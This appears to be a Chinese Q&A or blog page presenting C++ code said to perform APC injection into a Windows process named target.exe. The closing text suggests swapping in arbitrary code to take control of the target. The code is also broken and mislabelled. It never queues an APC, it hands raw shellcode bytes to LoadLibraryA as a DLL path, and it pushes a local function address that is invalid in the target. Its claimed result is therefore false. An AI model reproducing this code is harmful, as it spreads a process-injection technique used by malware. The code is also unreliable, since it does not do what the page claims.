windows APC注入代码实现
时间: 2023-10-14 19:28:30 浏览: 38
APC(Asynchronous Procedure Call)指异步过程调用,是Windows操作系统中的一种机制。通过APC注入,可以在目标进程中执行指定的函数或代码。
以下是一个简单的APC注入代码示例:
```c++
#include <windows.h>
#include <tlhelp32.h>
void apcFunc(ULONG_PTR dwParam) {
MessageBoxA(NULL, "APC Injection Successful!", "Success", MB_OK);
}
int main() {
// 获取目标进程ID
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &pe32)) {
do {
if (strcmp(pe32.szExeFile, "target.exe") == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
if (pid == 0) {
MessageBoxA(NULL, "Target process not found!", "Error", MB_ICONERROR);
return 0;
}
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
MessageBoxA(NULL, "Failed to open target process!", "Error", MB_ICONERROR);
return 0;
}
// 在目标进程中分配一块内存
LPVOID pRemoteFunc = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteFunc == NULL) {
MessageBoxA(NULL, "Failed to allocate memory in target process!", "Error", MB_ICONERROR);
CloseHandle(hProcess);
return 0;
}
// 在当前进程中写入要注入的代码
BYTE code[] = {0x68, 0x00, 0x00, 0x00, 0x00, // push dwParam
0x68, 0x00, 0x00, 0x00, 0x00, // push apcFunc
0xC3}; // ret
*(ULONG_PTR *)(code + 1) = (ULONG_PTR)pRemoteFunc + 1024 - 4;
*(ULONG_PTR *)(code + 6) = (ULONG_PTR)apcFunc;
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, pRemoteFunc, code, sizeof(code), &bytesWritten) || bytesWritten != sizeof(code)) {
MessageBoxA(NULL, "Failed to write code to target process!", "Error", MB_ICONERROR);
VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
// 获取目标进程中kernel32.dll中的LoadLibraryA函数地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
FARPROC pfnLoadLibraryA = GetProcAddress(hMod, "LoadLibraryA");
if (pfnLoadLibraryA == NULL) {
MessageBoxA(NULL, "Failed to get LoadLibraryA address!", "Error", MB_ICONERROR);
VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
// 将LoadLibraryA函数地址作为回调函数注入到目标进程中
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnLoadLibraryA, pRemoteFunc, 0, NULL);
if (hThread == NULL) {
MessageBoxA(NULL, "Failed to create remote thread in target process!", "Error", MB_ICONERROR);
VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
// 等待注入完成
WaitForSingleObject(hThread, INFINITE);
// 清理资源
VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
```
上述代码会在目标进程中注入一个APC,当APC被激活时,会在目标进程中执行一个MessageBoxA函数,弹出一个消息框。在实际使用中,可以将apcFunc替换为要执行的代码的地址,实现对目标进程的控制。